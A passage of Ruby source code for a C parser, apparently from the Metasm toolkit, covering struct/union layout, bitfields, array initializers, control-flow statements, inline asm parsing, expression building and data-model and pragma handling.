if not @members - raise parser, 'unknown union member' if not findmember(name) - - @members.find { |m| - m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) - }.type.untypedef.bitoffsetof(parser, name) - end - - def parse_members(parser, scope) - @fldlist = nil if fldlist # invalidate fld offset cache - @members = [] - # parse struct/union members in definition - loop do - raise parser if not tok = parser.skipspaces - break if tok.type == :punct and tok.raw == '}' - parser.unreadtok tok - - raise tok, 'invalid struct member type' if not basetype = Variable.parse_type(parser, scope) - loop do - member = basetype.dup - member.parse_declarator(parser, scope) - member.type.length ||= 0 if member.type.kind_of?(Array) # struct { char blarg[]; }; - raise member.backtrace, 'member redefinition' if member.name and @members.find { |m| m.name == member.name } - @members << member - - raise tok || parser if not tok = parser.skipspaces or tok.type != :punct - - if tok.raw == ':' # bits - raise tok, 'bad type for bitslice' if not member.type.integral? - bits = nil - raise tok, "bad bit count #{bits.inspect}" if not bits = CExpression.parse(parser, scope, false) or - not bits.constant? or !(bits = bits.reduce(parser)).kind_of? ::Integer - #raise tok, 'need more bits' if bits > 8*parser.sizeof(member) - # WORD wReserved:17; => yay windows.h - (@bits ||= [])[@members.length-1] = bits - raise tok || parser, '"," or ";" expected' if not tok = parser.skipspaces or tok.type != :punct - end - - case tok.raw - when ';'; break - when ',' - when '}'; parser.unreadtok(tok); break - else raise tok, '"," or ";" expected' - end - end - end - parse_attributes(parser) - end - - # updates the @fldoffset / @fldbitoffset hash storing the offset of members - def update_member_cache(parser) - @fldlist = {} - @members.to_a.each { |m| - @fldlist[m.name] = m if m.name - } - end - - def parse_initializer(parser, scope) - if tok = parser.skipspaces and tok.type == :punct and tok.raw == '{' - # struct x toto = { 1, .4, .member[0][6].bla = 12 }; - raise tok, 'undefined struct' if not @members - ret = [] - if tok = parser.skipspaces and (tok.type != :punct or tok.raw != '}') - parser.unreadtok tok - idx = 0 - loop do - idx = parse_initializer_designator(parser, scope, ret, idx, true) - raise tok || parser, '"," or "}" expected' if not tok = parser.skipspaces or tok.type != :punct or (tok.raw != '}' and tok.raw != ',') - break if tok.raw == '}' - raise tok, 'struct is smaller than that' if idx >= @members.length - end - end - ret - else - parser.unreadtok tok - super(parser, scope) - end - end - - # parses a designator+initializer eg '.toto = 4' or '.tutu[42][12].bla = 16' or (root ? '4' : '=4') - def parse_initializer_designator(parser, scope, value, idx, root=true) - if nt = parser.skipspaces and nt.type == :punct and nt.raw == '.' and - nnt = parser.skipspaces and nnt.type == :string and - findmember(nnt.raw) - raise nnt, 'unhandled indirect initializer' if not nidx = @members.index(@members.find { |m| m.name == nnt.raw }) # TODO - if not root - value[idx] ||= [] # AryRecorder may change [] to AryRec.new, can't do v = v[i] ||= [] - value = value[idx] - end - idx = nidx - @members[idx].type.untypedef.parse_initializer_designator(parser, scope, value, idx, false) - else - parser.unreadtok nnt - if root - parser.unreadtok nt - value[idx] = @members[idx].type.parse_initializer(parser, scope) - else - raise nt || parser, '"=" expected' if not nt or nt.type != :punct or nt.raw != '=' - value[idx] = parse_initializer(parser, scope) - end - end - idx + 1 - end - - # resolve structptr + offset into 'str.membername' - # handles 'var.substruct1.array[12].foo' - # updates str - # returns the final member type itself - # works for Struct/Union/Array - def expand_member_offset(c_parser, off, str) - # XXX choose in members, check sizeof / prefer structs - m = @members.first - str << '.' << m.name if m.name - if m.type.respond_to?(:expand_member_offset) - m.type.expand_member_offset(c_parser, off, str) - else - m.type - end - end - end - class Struct < Union - attr_accessor :pack - - def align(parser) [@members.to_a.map { |m| m.type.align(parser) }.max || 1, (pack || 8)].min end - - def offsetof(parser, name) - raise parser, 'undefined structure' if not members - update_member_cache(parser) if not fldlist - return @fldoffset[name] if @fldoffset[name] - return @fldoffset[name.name] if name.respond_to?(:name) and @fldoffset[name.name] - - # this is almost never reached, only for <struct>.offsetof(anonymoussubstructmembername) - raise parser, 'unknown structure member' if (name.kind_of?(::String) ? !findmember(name) : !@members.include?(name)) - - indirect = true if name.kind_of?(::String) and not @fldlist[name] - - al = align(parser) - off = 0 - bit_off = 0 - isz = nil - - @members.each_with_index { |m, i| - if bits and b = @bits[i] - if not isz - mal = [m.type.align(parser), al].min - off = (off + mal - 1) / mal * mal - end - isz = parser.sizeof(m) - if b == 0 or (bit_off > 0 and bit_off + b > 8*isz) - bit_off = 0 - mal = [m.type.align(parser), al].min - off = (off + isz + mal - 1) / mal * mal - end - break if m.name == name or m == name - bit_off += b - else - if isz - off += isz - bit_off = 0 - isz = nil - end - mal = [m.type.align(parser), al].min - off = (off + mal - 1) / mal * mal - if m.name == name or m == name - break - elsif indirect and m.type.untypedef.kind_of? Union and m.type.untypedef.findmember(name) - off += m.type.untypedef.offsetof(parser, name) - break - else - off += parser.sizeof(m) - end - end - } - off - end - - # returns the [bitoffset, bitlength] of the field if it is a bitfield - # this should be added to the offsetof(field) - def bitoffsetof(parser, name) - raise parser, 'undefined structure' if not members - update_member_cache(parser) if not fldlist - return @fldbitoffset[name] if fldbitoffset and @fldbitoffset[name] - return @fldbitoffset[name.name] if fldbitoffset and name.respond_to?(:name) and @fldbitoffset[name.name] - return if @fldlist[name] or @members.include?(name) - raise parser, 'undefined union' if not @members - raise parser, 'unknown union member' if not findmember(name) - - @members.find { |m| - m.type.untypedef.kind_of?(Union) and m.type.untypedef.findmember(name) - }.type.untypedef.bitoffsetof(parser, name) - end - - # returns the @member element that has offsetof(m) == off - def findmember_atoffset(parser, off) - return if not members - update_member_cache(parser) if not fldlist - if m = @fldoffset.index(off) - @fldlist[m] - end - end - - def parse_members(parser, scope) - super(parser, scope) - - if has_attribute 'packed' - @pack = 1 - elsif p = has_attribute_var('pack') - @pack = p[/\d+/].to_i - raise parser, "illegal struct pack(#{p})" if @pack == 0 - end - end - - # updates the @fldoffset / @fldbitoffset hash storing the offset of members - def update_member_cache(parser) - super(parser) - - @fldoffset = {} - @fldbitoffset = {} if fldbitoffset - - al = align(parser) - off = 0 - bit_off = 0 - isz = nil - - @members.each_with_index { |m, i| - if bits and b = @bits[i] - if not isz - mal = [m.type.align(parser), al].min - off = (off + mal - 1) / mal * mal - end - isz = parser.sizeof(m) - if b == 0 or (bit_off > 0 and bit_off + b > 8*isz) - bit_off = 0 - mal = [m.type.align(parser), al].min - off = (off + isz + mal - 1) / mal * mal - end - if m.name - @fldoffset[m.name] = off - @fldbitoffset ||= {} - @fldbitoffset[m.name] = [bit_off, b] - end - bit_off += b - else - if isz - off += isz - bit_off = 0 - isz = nil - end - mal = [m.type.align(parser), al].min - off = (off + mal - 1) / mal * mal - @fldoffset[m.name] = off if m.name - off += parser.sizeof(m) - end - } - end - - # see Union#expand_member_offset - def expand_member_offset(c_parser, off, str) - members.to_a.each { |m| - mo = offsetof(c_parser, m) - if mo == off or mo + c_parser.sizeof(m) > off - if bitoffsetof(c_parser, m) - # ignore bitfields - str << "+#{off}" if off > 0 - return self - end - - str << '.' << m.name if m.name - if m.type.respond_to?(:expand_member_offset) - return m.type.expand_member_offset(c_parser, off-mo, str) - else - return m.type - end - elsif mo > off - break - end - } - # XXX that works only for pointer-style str - str << "+#{off}" if off > 0 - nil - end - end - class Enum < Type - # name => value - attr_accessor :members - attr_accessor :name - attr_accessor :backtrace - - def align(parser) BaseType.new(:int).align(parser) end - - def arithmetic?; true end - def integral?; true end - def signed?; false end - - def parse_members(parser, scope) - val = -1 - @members = {} - loop do - raise parser if not tok = parser.skipspaces - break if tok.type == :punct and tok.raw == '}' - - name = tok.raw - raise tok, 'bad enum name' if tok.type != :string or Keyword[name] or (?0..?9).include?(name[0]) - - raise parser if not tok = parser.skipspaces - if tok.type == :punct and tok.raw == '=' - raise tok || parser if not val = CExpression.parse(parser, scope, false) or not val = val.reduce(parser) or not tok = parser.skipspaces - else - val += 1 - end - raise tok, "enum value #{name} redefinition" if scope.symbol[name] and scope.symbol[name] != val - @members[name] = val - scope.symbol[name] = val - - if tok.type == :punct and tok.raw == '}' - break - elsif tok.type == :punct and tok.raw == ',' - else raise tok, '"," or "}" expected' - end - end - parse_attributes(parser) - end - - def compare_deep(o) - return true if o.object_id == self.object_id - return if o.class != self.class or o.name != self.name or o.attributes != self.attributes - members == o.members - end - end - class Pointer < Type - attr_accessor :type - - def initialize(type=nil) - @type = type - end - - def pointer? ; true ; end - def arithmetic? ; true ; end - def base ; @type.base ; end - def align(parser) BaseType.new(:ptr).align(parser) end - def pointed ; @type end - - def ==(o) - o.class == self.class and o.type == self.type - end - end - class Array < Pointer - attr_accessor :length - - def initialize(type=nil, length=nil) - super(type) - @length = length if length - end - - def align(parser) @type.align(parser) end - - def parse_initializer(parser, scope) - raise parser, 'cannot initialize dynamic array' if @length.kind_of? CExpression - if tok = parser.skipspaces and tok.type == :punct and tok.raw == '{' - # struct x foo[] = { { 4 }, [12].tutu = 2 }; - ret = [] - if tok = parser.skipspaces and (tok.type != :punct or tok.raw != '}') - parser.unreadtok tok - idx = 0 - loop do - idx = parse_initializer_designator(parser, scope, ret, idx, true) - raise tok || parser, '"," or "}" expected' if not tok = parser.skipspaces or tok.type != :punct or (tok.raw != '}' and tok.raw != ',') - break if tok.raw == '}' - # allow int x[] = {1, 2, 3, }; - break if tok = parser.skipspaces and tok.type == :punct and tok.raw == '}' - parser.unreadtok tok - raise tok, 'array is smaller than that' if length and idx >= @length - end - end - ret - else - parser.unreadtok tok - i = super(parser, scope) - if i.kind_of? CExpression and not i.op and i.rexpr.kind_of? String and @length and i.rexpr.length > @length - puts tok.exception("initializer is too long (#{i.rexpr.length} for #@length)").message if $VERBOSE - i.rexpr = i.rexpr[0, @length] - end - i - end - end - - # this class is a hack to support [1 ... 4] array initializer - # it stores the effects of subsequent initializers (eg [1 ... 4].toto[48].bla[2 ... 57] = 12) - # which are later played back on the range - class AryRecorder - attr_accessor :log - def initialize - @log = [] - end - - def []=(idx, val) - val = self.class.new if val == [] - @log[idx] = val - end - - def [](idx) - @log[idx] - end - - def playback_idx(i) - case v = @log[i] - when self.class; v.playback - else v - end - end - - def playback(ary=[]) - @log.each_with_index { |v, i| ary[i] = playback_idx(i) } - ary - end - end - - # parses a designator+initializer eg '[12] = 4' or '[42].bla = 16' or '[3 ... 8] = 28' - def parse_initializer_designator(parser, scope, value, idx, root=true) - # root = true for 1st invocation (x = { 4 }) => immediate value allowed - # or false for recursive invocations (x = { .y = 4 }) => need '=' sign before immediate - if nt = parser.skipspaces and nt.type == :punct and nt.raw == '[' - if not root - value[idx] ||= [] # AryRecorder may change [] to AryRec.new, can't do v = v[i] ||= [] - value = value[idx] - end - raise nt, 'const expected' if not idx = CExpression.parse(parser, scope) or not idx.constant? or not idx = idx.reduce(parser) or not idx.kind_of? ::Integer - nt = parser.skipspaces - if nt and nt.type == :punct and nt.raw == '.' # range - raise nt || parser, '".." expected' if not nt = parser.skipspaces or nt.type != :punct or nt.raw != '.' - raise nt || parser, '"." expected' if not nt = parser.skipspaces or nt.type != :punct or nt.raw != '.' - raise nt, 'const expected' if not eidx = CExpression.parse(parser, scope) or not eidx.constant? or not eidx = eidx.reduce(parser) or not eidx.kind_of? ::Integer - raise nt, 'bad range' if eidx < idx - nt = parser.skipspaces - realvalue = value - value = AryRecorder.new - end - raise nt || parser, '"]" expected' if not nt or nt.type != :punct or nt.raw != ']' - raise nt, 'array is smaller than that' if length and (eidx||idx) >= @length - @type.untypedef.parse_initializer_designator(parser, scope, value, idx, false) - if eidx - (idx..eidx).each { |i| realvalue[i] = value.playback_idx(idx) } - idx = eidx # next default value = eidx+1 (eg int x[] = { [1 ... 3] = 4, 5 } => x[4] = 5) - end - else - if root - parser.unreadtok nt - value[idx] = @type.parse_initializer(parser, scope) - else - raise nt || parser, '"=" expected' if not nt or nt.type != :punct or nt.raw != '=' - value[idx] = parse_initializer(parser, scope) - end - end - idx + 1 - end - - # see Union#expand_member_offset - def expand_member_offset(c_parser, off, str) - tsz = c_parser.sizeof(@type) - str << "[#{off/tsz}]" - if @type.respond_to?(:expand_member_offset) - @type.expand_member_offset(c_parser, off%tsz, str) - else - @type - end - end - end - - class Variable - include Attributes - include Typed - - attr_accessor :type - attr_accessor :initializer # CExpr / Block (for Functions) - attr_accessor :name - attr_accessor :storage # auto register static extern typedef - attr_accessor :backtrace # definition backtrace info (the name token) - - def initialize(name=nil, type=nil) - @name, @type = name, type - end - end - - # found in a block's Statements, used to know the initialization order - # eg { int i; i = 4; struct foo { int k; } toto = {i}; } - class Declaration - attr_accessor :var - def initialize(var) - @var = var - end - end - - class If < Statement - attr_accessor :test # expression - attr_accessor :bthen, :belse # statements - def initialize(test, bthen, belse=nil) - @test = test - @bthen = bthen - @belse = belse if belse - end - - def self.parse(parser, scope, nest) - tok = nil - raise tok || self, '"(" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '(' - raise tok, 'expr expected' if not expr = CExpression.parse(parser, scope) or not expr.type.arithmetic? - raise tok || self, '")" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != ')' - bthen = parser.parse_statement scope, nest - if tok = parser.skipspaces and tok.type == :string and tok.raw == 'else' - belse = parser.parse_statement scope, nest - else - parser.unreadtok tok - end - - new expr, bthen, belse - end - end - class For < Statement - attr_accessor :init, :test, :iter # CExpressions, init may be Block - attr_accessor :body - def initialize(init, test, iter, body) - @init, @test, @iter, @body = init, test, iter, body - end - - def self.parse(parser, scope, nest) - tok = nil - raise tok || parser, '"(" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '(' - init = forscope = Block.new(scope) - if not parser.parse_definition(forscope) - forscope = scope - init = CExpression.parse(parser, forscope) - raise tok || parser, '";" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != ';' - end - test = CExpression.parse(parser, forscope) - raise tok || parser, '";" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != ';' - raise tok, 'bad test expression in for loop' if test and not test.type.arithmetic? - iter = CExpression.parse(parser, forscope) - raise tok || parser, '")" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != ')' - - new init, test, iter, parser.parse_statement(forscope, nest + [:loop]) - end - end - class While < Statement - attr_accessor :test - attr_accessor :body - - def initialize(test, body) - @test = test - @body = body - end - - def self.parse(parser, scope, nest) - tok = nil - raise tok || parser, '"(" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '(' - raise tok, 'expr expected' if not expr = CExpression.parse(parser, scope) or not expr.type.arithmetic? - raise tok || parser, '")" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != ')' - - new expr, parser.parse_statement(scope, nest + [:loop]) - end - end - class DoWhile < While - def self.parse(parser, scope, nest) - body = parser.parse_statement(scope, nest + [:loop]) - tok = nil - raise tok || parser, '"while" expected' if not tok = parser.skipspaces or tok.type != :string or tok.raw != 'while' - raise tok || parser, '"(" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '(' - raise tok, 'expr expected' if not expr = CExpression.parse(parser, scope) or not expr.type.arithmetic? - raise tok || parser, '")" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != ')' - parser.checkstatementend(tok) - - new expr, body - end - end - class Switch < Statement - attr_accessor :test, :body - - def initialize(test, body) - @test = test - @body = body - end - - def self.parse(parser, scope, nest) - raise tok || parser, '"(" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '(' - raise tok, 'expr expected' if not expr = CExpression.parse(parser, scope) or not expr.type.integral? - raise tok || parser, '")" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != ')' - - new expr, parser.parse_statement(scope, nest + [:switch]) - end - end - - class Continue < Statement - end - class Break < Statement - end - class Goto < Statement - attr_accessor :target - def initialize(target) - @target = target - end - end - class Return < Statement - attr_accessor :value - def initialize(value) - @value = value - end - end - class Label < Statement - attr_accessor :name - attr_accessor :statement - def initialize(name, statement=nil) - @name, @statement = name, statement - end - end - class Case < Label - attr_accessor :expr, :exprup # exprup if range, expr may be 'default' - def initialize(expr, exprup, statement) - @expr, @statement = expr, statement - @exprup = exprup if exprup - end - - def self.parse(parser, scope, nest) - raise parser, 'invalid case' if not expr = CExpression.parse(parser, scope) or not expr.constant? or not expr.type.integral? - raise tok || parser, '":" or "..." expected' if not tok = parser.skipspaces or tok.type != :punct or (tok.raw != ':' and tok.raw != '.') - if tok.raw == '.' - raise tok || parser, '".." expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '.' - raise tok || parser, '"." expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != '.' - raise tok, 'invalid case range' if not exprup = CExpression.parse(parser, scope) or not exprup.constant? or not exprup.type.integral? - raise tok || parser, '":" expected' if not tok = parser.skipspaces or tok.type != :punct or tok.raw != ':' - end - body = parser.parse_statement scope, nest - new expr, exprup, body - end - end - - # inline asm statement - class Asm < Statement - include Attributes - attr_accessor :body # asm source (::String) - attr_accessor :output, :input, :clobber # I/O, gcc-style (::Array) - attr_accessor :backtrace # body Token - attr_accessor :volatile - - def initialize(body, backtrace, output=nil, input=nil, clobber=nil, volatile=nil) - @body, @backtrace, @output, @input, @clobber, @volatile = body, backtrace, output, input, clobber, volatile - end - - def self.parse(parser, scope) - if tok = parser.skipspaces and tok.type == :string and (tok.raw == 'volatile' or tok.raw == '__volatile__') - volatile = true - tok = parser.skipspaces - end - if not tok or tok.type != :punct or tok.raw != '(' - # detect MS-style inline asm: "__asm .* __asm .*" or "asm { [\s.]* }" - ftok = tok - body = '' - if tok.type == :punct and tok.raw == '{' - loop do - raise ftok, 'unterminated asm block' if not tok = parser.lexer.readtok - break if tok.type == :punct and tok.raw == '}' - case tok.type - when :space; body << ' ' - when :eol; body << "\n" - when :punct; body << tok.raw - when :quoted; body << CExpression.string_inspect(tok.value) # concat adjacent c strings - when :string - body << \ - case tok.raw - when 'asm', '__asm', '__asm__'; "\n" - when '_emit'; 'db' - else tok.raw - end - end - end - # allow shell-style heredoc: asm <<EOS\n<asm>\nEOS - elsif tok.type == :punct and tok.raw == '<' - raise ftok, 'bad asm heredoc' if not tok = parser.lexer.readtok or tok.type != :punct or tok.raw != '<' - delimiter = parser.lexer.readtok - if delimiter.type == :punct and delimiter.raw == '-' - skipspc = true - delimiter = parser.lexer.readtok - end - raise ftok, 'bad asm heredoc delim' if delimiter.type != :string or not tok = parser.lexer.readtok or tok.type != :eol - nl = true - loop do - raise ftok, 'unterminated heredoc' if not tok = parser.lexer.readtok - break if nl and tok.raw == delimiter.raw - raw = tok.raw - raw = "\n" if skipspc and tok.type == :eol - body << raw - nl = (tok.type == :eol and (raw[-1] == ?\n or raw[-1] == ?\r)) - end - # MS single-instr: asm inc eax; - # also allow asm "foo bar\nbaz"; - else - parser.lexer.unreadtok tok - loop do - break if not tok = parser.lexer.readtok or tok.type == :eol - case tok.type - when :space; body << ' ' - when :punct - case tok.raw - when '}' - parser.lexer.unreadtok tok - break - else body << tok.raw - end - when :quoted; body << (body.empty? ? tok.value : CExpression.string_inspect(tok.value)) # asm "pop\nret" VS asm add al, 'z' - when :string - body << \ - case tok.raw - when 'asm', '__asm', '__asm__'; "\n" - when '_emit'; 'db' - else tok.raw - end - end - end - end - return new(body, ftok, nil, nil, nil, volatile) - end - raise tok || parser, '"(" expected' if not tok or tok.type != :punct or tok.raw != '(' - raise tok || parser, 'qstring expected' if not tok = parser.skipspaces or tok.type != :quoted - body = tok - ret = new body.value, body - tok = parser.skipspaces - raise tok || parser, '":" or ")" expected' if not tok or tok.type != :punct or (tok.raw != ':' and tok.raw != ')') - - if tok.raw == ':' - ret.output = [] - raise parser if not tok = parser.skipspaces - while tok.type == :quoted - type = tok.value - raise tok, 'expr expected' if not var = CExpression.parse_value(parser, scope) - ret.output << [type, var] - raise tok || parser, '":" or "," or ")" expected' if not tok = parser.skipspaces or tok.type != :punct or (tok.raw != ',' and tok.raw != ')' and tok.raw != ':') - break if tok.raw == ':' or tok.raw == ')' - raise tok || parser, 'qstring expected' if not tok = parser.skipspaces or tok.type != :quoted - end - end - if tok.raw == ':' - ret.input = [] - raise parser if not tok = parser.skipspaces - while tok.type == :quoted - type = tok.value - raise tok, 'expr expected' if not var = CExpression.parse_value(parser, scope) - ret.input << [type, var] - raise tok || parser, '":" or "," or ")" expected' if not tok = parser.skipspaces or tok.type != :punct or (tok.raw != ',' and tok.raw != ')' and tok.raw != ':') - break if tok.raw == ':' or tok.raw == ')' - raise tok || parser, 'qstring expected' if not tok = parser.skipspaces or tok.type != :quoted - end - end - if tok.raw == ':' - ret.clobber = [] - raise parser if not tok = parser.skipspaces - while tok.type == :quoted - ret.clobber << tok.value - raise tok || parser, '"," or ")" expected' if not tok = parser.skipspaces or tok.type != :punct or (tok.raw != ',' and tok.raw != ')') - break if tok.raw == ')' - raise tok || parser, 'qstring expected' if not tok = parser.skipspaces or tok.type != :quoted - end - end - raise tok || parser, '")" expected' if not tok or tok.type != :punct or tok.raw != ')' - ret.parse_attributes(parser) - parser.checkstatementend(tok) - ret - end - end - - class CExpression < Statement - include Typed - - # may be :,, :., :'->', :funcall (function, [arglist]), :[] (array indexing), nil (cast) - attr_accessor :op - # nil/CExpr/Variable/Label/::String( = :quoted/struct member name)/::Integer/::Float/Block - attr_accessor :lexpr, :rexpr - # a Type - attr_accessor :type - def initialize(l, o, r, t) - raise "invalid CExpr #{[l, o, r, t].inspect}" if (o and not o.kind_of? ::Symbol) or not t.kind_of? Type - @lexpr, @op, @rexpr, @type = l, o, r, t - end - - # overwrites @lexpr @op @rexpr @type from the arg - def replace(o) - @lexpr, @op, @rexpr, @type = o.lexpr, o.op, o.rexpr, o.type - self - end - - # deep copy of the object - # recurses only within CExpressions, anything else is copied by reference - def deep_dup - n = dup - n.lexpr = n.lexpr.deep_dup if n.lexpr.kind_of? CExpression - n.rexpr = n.rexpr.deep_dup if n.rexpr.kind_of? CExpression - n.rexpr = n.rexpr.map { |e| e.kind_of?(CExpression) ? e.deep_dup : e } if n.rexpr.kind_of? ::Array - n - end - - # recursive constructor with automatic type inference - # e.g. CExpression[foo, :+, [:*, bar]] - # assumes root args are correctly typed (eg *foo => foo must be a pointer) - # take care to use [int] with immediates, e.g. CExpression[foo, :+, [2]] - # CExpr[some_cexpr] returns some_cexpr - def self.[](*args) - # sub-arrays in args are to be passed to self.[] recursively (syntaxic sugar) - splat = lambda { |e| e.kind_of?(::Array) ? self[*e] : e } - - args.shift while args.first == nil # CExpr[nil, :&, bla] => CExpr[:&, bla] - - case args.length - when 4 - op = args[1] - if op == :funcall or op == :'?:' - x2 = args[2].map { |a| splat[a] } if args[2] - else - x2 = splat[args[2]] - end - new(splat[args[0]], op, x2, args[3]) - when 3 - op = args[1] - x1 = splat[args[0]] - if op == :funcall or op == :'?:' - x2 = args[2].map { |a| splat[a] } if args[2] - else - x2 = splat[args[2]] - end - - case op - when :funcall - rt = x1.type.untypedef - rt = rt.type.untypedef if rt.pointer? - new(x1, op, x2, rt.type) - when :[]; new(x1, op, x2, x1.type.untypedef.type) - when :+; new(x1, op, x2, (x2.type.pointer? ? x2.type : x1.type)) - when :-; new(x1, op, x2, ((x1.type.pointer? and x2.type.pointer?) ? BaseType.new(:int) : x2.type.pointer? ? x2.type : x1.type)) - when :'&&', :'||', :==, :'!=', :>, :<, :<=, :>=; new(x1, op, x2, BaseType.new(:int)) - when :'.', :'->' - t = x1.type.untypedef - t = t.type.untypedef if op == :'->' and x1.type.pointer? - raise "parse error: #{t} has no member #{x2}" if not t.kind_of? Union or not m = t.findmember(x2) - new(x1, op, x2, m.type) - when :'?:'; new(x1, op, x2, x2[0].type) - when :','; new(x1, op, x2, x2.type) - else new(x1, op, x2, x1.type) - end - when 2 - x0 = splat[args[0]] - x1 = splat[args[1]] - x0, x1 = x1, x0 if x0.kind_of? Type - if x1.kind_of? Type; new(nil, nil, x0, x1) # (cast)r - elsif x0 == :*; new(nil, x0, x1, x1.type.untypedef.type) # *r - elsif x0 == :& and x1.kind_of? CExpression and x1.type.kind_of? C::Array; new(nil, nil, x1, Pointer.new(x1.type.type)) - elsif x0 == :&; new(nil, x0, x1, Pointer.new(x1.type)) # &r - elsif x0 == :'!'; new(nil, x0, x1, BaseType.new(:int)) # &r - elsif x1.kind_of? ::Symbol; new(x0, x1, nil, x0.type) # l++ - else new(nil, x0, x1, x1.type) # +r - end - when 1 - x = splat[args[0]] - case x - when CExpression; x - when ::Integer; new(nil, nil, x, BaseType.new(:int)) # XXX range => __int64 ? - when ::Float; new(nil, nil, x, BaseType.new(:double)) - when ::String; new(nil, nil, x, Pointer.new(BaseType.new(:char))) - else new(nil, nil, x, x.type) - end - else raise "parse error CExpr[*#{args.inspect}]" - end - end - end - - - class Parser - # creates a new CParser, parses all top-level statements - def self.parse(text) - new.parse text - end - - # parses the current lexer content (or the text arg) for toplevel definitions - def parse(text=nil, filename='<unk>', lineno=1) - @lexer.feed text, filename, lineno if text - nil while not @lexer.eos? and (parse_definition(@toplevel) or parse_toplevel_statement(@toplevel)) - raise @lexer.readtok || self, 'invalid definition' if not @lexer.eos? - sanity_checks - self - end - - # parses a C file - def parse_file(file) - parse(File.read(file), file) - end - - attr_accessor :lexer, :toplevel, :typesize, :pragma_pack - attr_accessor :endianness - attr_accessor :allow_bad_c - attr_accessor :program - # allowed arguments: ExeFormat, CPU, Preprocessor, Symbol (for the data model) - def initialize(*args) - model = args.grep(Symbol).first || :ilp32 - lexer = args.grep(Preprocessor).first || Preprocessor.new - @program = args.grep(ExeFormat).first - cpu = args.grep(CPU).first - cpu ||= @program.cpu if @program - @lexer = lexer - @prev_pragma_callback = @lexer.pragma_callback - @lexer.pragma_callback = lambda { |tok| parse_pragma_callback(tok) } - @toplevel = Block.new(nil) - @unreadtoks = [] - @endianness = cpu ? cpu.endianness : :big - @typesize = { :void => 1, :__int8 => 1, :__int16 => 2, :__int32 => 4, :__int64 => 8, - :char => 1, :float => 4, :double => 8, :longdouble => 12 } - send model - cpu.tune_cparser(self) if cpu - @program.tune_cparser(self) if @program - end - - def ilp16 - @typesize.update :short => 2, :ptr => 2, - :int => 2, :long => 4, :longlong => 4 - end - - def lp32 - @typesize.update :short => 2, :ptr => 4, - :int => 2, :long => 4, :longlong => 8 - end - def ilp32 - @typesize.update :short => 2, :ptr => 4, - :int => 4, :long => 4, :longlong => 8 - end - - def llp64 - @typesize.update :short => 2, :ptr => 8, - :int => 4, :long => 4, :longlong => 8 - end - def lp64 - @typesize.update :short => 2, :ptr => 8, - :int => 4, :long => 8, :longlong => 8 - end - def ilp64 - @typesize.update :short => 2, :ptr => 8, - :int => 8, :long => 8, :longlong => 8 - end - - def parse_pragma_callback(otok) - case otok.raw - when 'pack' - nil while lp = @lexer.readtok and lp.type == :space - nil while rp = @lexer.readtok and rp.type == :space - if not rp or rp.type != :punct or rp.raw != ')' - v1 = rp - nil while rp = @lexer.readtok and rp.type == :space - end - if rp and rp.type == :punct and rp.raw == ',' - nil while v2 = @lexer.readtok and v2.type == :space - nil while rp = @lexer.readtok and rp.type == :space - end - raise otok if not rp or lp.type != :punct or rp.type != :punct or lp.raw != '(' or rp.raw != ')' - raise otok if (v1 and v1.type != :string) or (v2 and (v2.type != :string or v2.raw =~ /[^\d]/)) - if not v1 - @pragma_pack = nil - elsif v1.raw == 'push' - @pragma_pack_stack ||= [] - @pragma_pack_stack << pragma_pack - @pragma_pack = v2.raw.to_i if v2 - raise v2, 'bad pack value' if pragma_pack == 0 - elsif v1.raw == 'pop' - @pragma_pack_stack ||= [] - raise v1, 'pack stack empty' if @pragma_pack_stack.empty? - @pragma_pack = @pragma_pack_stack.pop - @pragma_pack = v2.raw.to_i if v2 and v2.raw # #pragma pack(pop, 4) => pop stack, but use 4 as pack value (imho) - raise v2, 'bad pack value' if @pragma_pack == 0 - elsif v1.raw =~ /^\d+$/ - raise v2, '2nd arg unexpected' if v2 - @pragma_pack = v1.raw.to_i - raise v1, 'bad pack value' if @pragma_pack == 0 - else raise otok - end - # the caller checks for :eol - when 'warning' - if $DEBUG - @prev_pragma_callback[otok] - else - # silent discard - nil while tok = @lexer.readtok_nopp and tok.type != :eol - @lexer.unreadtok tok - end - when 'prepare_visualstudio' - prepare_visualstudio - when 'prepare_gcc' - prepare_gcc - when 'data_model' # XXX use carefully, should be the very first thing parsed - nil while lp = @lexer.readtok and lp.type == :space - if lp.type != :string or lp.raw !~ /^s?[il]?lp(16|32|64)$/ or not respond_to? lp.raw - raise lp, "invalid data model (use lp32/lp64/llp64/ilp64)" - else - send lp.raw - end - else @prev_pragma_callback[otok] - end - end - - def prepare_visualstudio - @lexer.define_weak('_WIN32') - @lexer.define_weak('_WIN32_WINNT', 0x500) - @lexer.define_weak('_INTEGRAL_MAX_BITS', 64) - @lexer.define_weak('__w64') - @lexer.define_weak('_cdecl', '__cdecl') # typo ? seen in winreg.h - @lexer.define_weak('_fastcall', '__fastcall') # typo ? seen in ntddk.h - @lexer.define_weak('_MSC_VER', 1300) # handle '#pragma once' and _declspec(noreturn) - @lexer.define_weak('__forceinline', '__inline') - @lexer.define_weak('__ptr32') # needed with msc_ver 1300, don't understand their use - @lexer.define_weak('__ptr64') - end - - def prepare_gcc - @lexer.define_weak('__GNUC__', 2) # otherwise __attribute__ is defined to void.. - @lexer.define_weak('__STDC__') - @lexer.define_weak('__const', 'const') - @lexer.define_weak('__signed', 'signed') - @lexer.define_weak('__signed__', 'signed') - @lexer.define_weak('__volatile', 'volatile') - if not @lexer.definition['__builtin_constant_p'] - # magic macro to check if its arg is an immediate value - @lexer.define_weak('__builtin_constant_p', '0') - @lexer.definition['__builtin_constant_p'].args = [Preprocessor::Token.new([])] - end - @lexer.nodefine_strong('alloca') # TODO __builtin_alloca - @lexer.hooked_include['stddef.h'] = <<EOH -/* simplified, define all at first invocation. may break things... */ -#undef __need_ptrdiff_t -#undef __need_size_t -#undef __need_wint_t -#undef __need_wchar_t -#undef __need_NULL 